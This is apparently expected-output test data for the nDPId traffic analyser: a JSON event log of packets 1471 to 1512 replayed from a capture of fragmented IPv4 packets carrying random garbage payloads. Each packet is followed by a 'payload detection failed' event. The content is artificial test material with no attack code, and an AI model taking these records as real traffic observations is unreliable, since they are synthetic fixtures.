+00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915416,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915429,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915441,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915454,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915468,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915480,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915493,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915510,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915522,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915529,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915541,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915553,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915566,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915578,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915590,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915605,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915617,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915629,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915642,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915654,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915666,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915679,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915691,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915703,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915715,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915727,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915739,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915751,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915764,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915776,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915792,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915803,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915818,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":915830,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916421,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916438,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916446,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916453,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916461,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916469,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916476,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916484,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 